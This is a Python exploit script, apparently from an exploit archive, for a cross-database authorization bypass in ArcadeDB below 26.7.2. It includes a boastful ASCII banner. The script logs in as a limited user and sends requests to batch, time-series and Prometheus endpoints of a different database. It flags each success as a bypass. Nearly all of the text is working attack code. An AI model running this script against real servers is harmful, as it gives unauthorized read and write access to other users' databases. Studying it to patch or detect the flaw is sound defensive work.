ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR)

#!/usr/bin/env python3 # Exploit Title: ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR) # CVE: CVE-2026-67342 # Date: 2026-08-02 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://arcadedb.com # Software Link: https://github.com/ArcadeData/arcadedb # Affected: ArcadeDB < 26.7.2 # Tested on: ArcadeDB 26.7.1 # Category: Remote # Platform: Multi # Exploit Type: Authorization Bypass / IDOR # CVSS: 9.3 # CWE : CWE-639 # Description: HTTP handlers for time series, batch, Prometheus and Grafana endpoints fail to validate database access permissions allowing cross-database read/write. # Fixed in: 26.7.2 # Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db> # # Examples: # python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b # # Options: # # Notes: # Requires valid credentials for any database. Vulnerable endpoints return 200 while protected endpoints correctly return 403. # # How to Use # # Step 1: Provide target URL and credentials of a limited user print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║ ║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║ ║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║ ║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║ ║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║ ║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║ ║ ║ ║ [ b a n y a m e r _ s e c u r i t y ] ║ ║ ║ ║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ Exploit : CVE-2026-67342 ║ ║ Target : ArcadeDB < 26.7.2 ║ ║ ║ ║ Status : ACTIVE ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import sys from requests.auth import HTTPBasicAuth def exploit(target, username, password, allowed_db, target_db): base = target.rstrip("/") auth = HTTPBasicAuth(username, password) print(f"[*] Target : {base}") print(f"[*] Authenticated as: {username}") print(f"[*] Allowed DB : {allowed_db}") print(f"[*] Target DB : {target_db}") print("-" * 60) print("[*] Testing protected endpoint (should be 403)...") r = requests.post( f"{base}/api/v1/command/{target_db}", json={"language": "sql", "command": "SELECT FROM V LIMIT 1"}, auth=auth, timeout=10 ) print(f" /api/v1/command/{target_db} → {r.status_code}") endpoints = [ ("POST", f"/api/v1/batch/{target_db}", {"operations": []}), ("POST", f"/api/v1/ts/{target_db}/write", {"metrics": []}), ("POST", f"/api/v1/ts/{target_db}/query", {"query": "SELECT 1"}), ("GET", f"/api/v1/ts/{target_db}/prom/api/v1/query", None), ] print("\n[*] Testing vulnerable handlers...") for method, path, body in endpoints: url = base + path try: if method == "POST": r = requests.post(url, json=body, auth=auth, timeout=10) else: r = requests.get(url, auth=auth, timeout=10) status = r.status_code if status == 200: print(f" [+] {method} {path} → {status} (BYPASS SUCCESS)") else: print(f" [-] {method} {path} → {status}") except Exception as e: print(f" [!] {method} {path} → Error: {e}") print("\n[*] Done.") if __name__ == "__main__": if len(sys.argv) != 6: print("Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db>") print("Example: python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])